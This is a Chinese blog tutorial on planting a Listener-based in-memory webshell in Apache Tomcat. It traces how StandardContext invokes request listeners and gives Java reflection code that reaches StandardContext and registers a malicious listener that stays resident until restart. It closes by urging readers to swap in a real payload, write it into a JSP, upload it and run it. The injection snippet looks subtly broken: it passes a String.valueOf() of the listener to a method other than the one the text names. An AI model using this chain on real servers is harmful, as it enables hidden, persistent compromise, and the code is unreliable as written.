tomcat内存马Listener篇

2022-01-21  本文已影响0人  aaOn1y

什么是监听器

用于监听Web应用中某些对象的创建、销毁、增加,修改,删除等动作的发生,然后作出相应的响应处理。当监听范围的对象的状态发生变化的时候,服务器自动调用监听器对象中的方法。常用于统计网站在线人数、系统加载时进行信息初始化、统计网站的访问量等等。

监听器类型

java共有三种类型的监听器

ServletContext对象的监听器

它能够监听 ServletContext 对象的生命周期,实际上就是监听 Web 应用的生命周期。也就是在web容器或者服务器开启或者关闭的时候会触发该监听器,该接口的方法


图片.png
HttpSession对象的监听器

在session创建和销毁时会调用该监听器,该接口的方法


图片.png
ServletRequest对象的监听器

在requets生成和销毁时会调用该监听器,该接口具有的方法


图片.png

以上三个监听器接口均继承了EventListener


图片.png
通过上面的介绍知道了各个监听器的作用已经使用场景,那么问题来了,如果你想用这三个监听器做坏事的话你会选谁,来看看第一个需要应用开启或者关闭肯定不适用,第二个需要session的创建或者销毁,好像也不太方便因为我们不清楚哪些功能触发session销毁或者创建,最后一个就很方便适用了,主要发起requests请求就能触发,所以是首选的监听器。

Java监听器在tomcat中的执行流程

这里创建一个Listener,实现ServletRequestListener


图片.png

在两个方法任意一个方法打断点都可以,这里在第一个方法处打断点


图片.png
发起请求获取其调用栈
图片.png

从调用栈可以看出最终在StandardContext的fireRequestDestroyEvent方法中调用了销毁方法requestDestroyed,该方法的代码如下,功能就是获取listener数组,遍历并执行listener


图片.png

这里看下这个获取listener数组的方法,返回的是个list对象


图片.png
在StandardContext类中搜索该属性,有一个addApplicationEventListener方法用来向数组中存放listener
图片.png

至此listener的调用过程就结束了,那么攻击点也就很明显了,只需要控制的到addApplicationEventListener方法,然后创建一个恶意的Listener,将该listener通过该方法添加到listener数组中去就能带入上面的fireRequestDestroyEvent方法去执行,从而执行恶意代码。

javax.servlet.ServletContext

servlet上下文。服务器会为每一个工程创建一个对象,这个对象就是ServletContext对象。这个对象全局唯一,而且工程内部的所有servlet都共享这个对象。所以叫全局应用程序共享对象。也就是说在web应用的任何地方都可以获取到这个对象。该接口中定义了非常多的方法来对web全局进行操作


图片.png

Tomcat中实现ServletContext的几个类

org.apache.catalina.core. ApplicationContextFacade

该类在tomcat的catalina.jar包中,为ServletContext的实现类,该类的构造函数中传入了ApplicationContext


图片.png

可通过该类获取到ApplicationContext


图片.png

org.apache.catalina.core. ApplicationContext

该类构造方法中传入了StandardContext


图片.png

可通过该方法获取到StandardContext


图片.png

利用链

经过分析已经很明显了,可以通过上面这几个类的关系获取到StandardContext,然后通过反射调用该类的addApplicationEventListener方法添加恶意listener即可,根据调用链通过requests来获取StandardContext对象


图片.png
//获取servletContext对象,在tomcat中实际上是获得的ApplicationContextFacade
                ServletContext servletContext = request.getServletContext();
                //通过反射获取ApplicationContextFacade的context字段为private final ApplicationContext context;ApplicationContext类型
                Field app_field = servletContext.getClass().getDeclaredField("context");
                app_field.setAccessible(true);
                //获取Applation对象
                ApplicationContext applicationContext = (ApplicationContext) app_field.get(servletContext);
                //通过反射获取Application对象的Context字段,为 private final StandardContext context;
                Field stdctx = applicationContext.getClass().getDeclaredField("context");  // 获取属性
                stdctx.setAccessible(true);
                //获取standardContext
                StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
                //调用listener
                standardContext.addApplicationListener(String.valueOf(new exploitListener()));

恶意listener

图片.png

访问任意url触发弹出计算器


图片.png

服务器只要不关不重启该恶意listener就会一直驻留在内存中,利用的话,改下payload,写到jsp文件里传上去执行下就行啦

上一篇 下一篇

猜你喜欢

热点阅读